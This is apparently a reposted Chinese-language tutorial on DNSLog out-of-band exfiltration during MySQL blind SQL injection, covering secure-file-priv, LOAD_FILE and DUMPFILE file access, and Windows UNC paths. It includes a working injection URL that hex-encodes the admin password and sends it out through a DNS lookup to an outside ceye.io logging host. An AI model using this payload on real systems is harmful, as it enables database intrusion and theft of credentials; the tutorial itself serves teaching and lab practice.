dnslog在mysql在linux_DNSLog在MySQL注入中的实战
關于DNSlog在Web攻擊的利用
簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候可以通過DNSlog這種方式把想獲得的數據外帶出來。
常用在哪些情況下SQL注入中的盲注
無回顯的命令執行
無回顯的SSRF
DNSlog攻擊的基本原理
作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS日志,就得到了想要的值。所以我們需要有一個自己的域名,然后再域名商處配置一條NS記錄,然后我們在NS服務器上獲取DNS日志即可。
DNSLOG在MySQL數據庫中SQL注入的實戰
本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環境有一個test_user表,三個字段id、user、pass。如下iduserpass1adminadmin123
最后就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺,這個平臺就集成了Dnslog的功能。
需要條件MySQL開啟load_file()
DNSLog平臺(hyuga、CEYE)
Windows平臺
Mysql服務端文件讀寫
條件:服務端配置可讀寫目錄和正確的用戶權限。
安全保護
mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數據庫目錄可被所有人讀取。你可以通過執行show variables like '%secure%'來查看。
secure-file-priv參數是用來限制LOAD DATA,SELECT ... OUTFILE,DUMPFILE和LOAD_FILE()可以操作的文件夾。
secure-file-priv的值可以分為三種情況:secure-file-priv的值為null,表示顯示mysqld不允許導入|導出
secure-file-priv的值為/tmp/,表示限制mysqld的導入|導出只能發生在/tmp/目錄下,此時如果讀寫發生在其他文件夾中,就會報錯
當secure-file-priv的值沒有具體值,表示不對mysqld的導入|導出做限制。
除此之外,讀取或寫入文件必須擁有可操作的用戶權限否則會報錯。
ERROR 1045 (28000): Access denied for user
讀取文件SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;create database test;
create table test (id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
寫入文件select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaaa";
load_file
MySQL應該是在實戰中利用DNSLOG最多的。
在MySQL中,有一個load_file函數可以用來讀取本地的文件。
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(concat('\\\\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\\abc'))
可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多時候數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做DNS查詢的,因為域名有一定的規范,有些特殊符號是不能帶入的。
注意:load_file函數再Linux下是無法用來做DNSLOG攻擊的,因為這里就涉及到Windows的UNC路徑。
UNC路徑
百度的UNC路徑的解釋
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
其實我們平常在Windows中用共享文件的時候就會用到這種網絡地址的形式
\\sss.xxx\test\
這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個\就變成了2個\,目的就是利用UNC路徑。
因為Linux沒有UNC路徑這個東西,所以當MySQL處理Linux系統中的時候,是不能用這種方式外帶數據的。
總結有些函數的使用受操作系統的限制
DNS查詢有長度限制,所以必要的時候需要對查詢結果做字符串的切割
避免一些特殊符號的產生,最好的選擇就是數據先編碼再帶出
注意不同的數據庫的語法是有差異的,特別是在數據庫拼接的時候
有些操作是需要較高權限的
參考文獻:
總結
以上是生活随笔為你收集整理的dnslog在mysql在linux_DNSLog在MySQL注入中的实战的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java中三种转string的方法_ja
- 下一篇: app把信息添加到mysql_如何将数据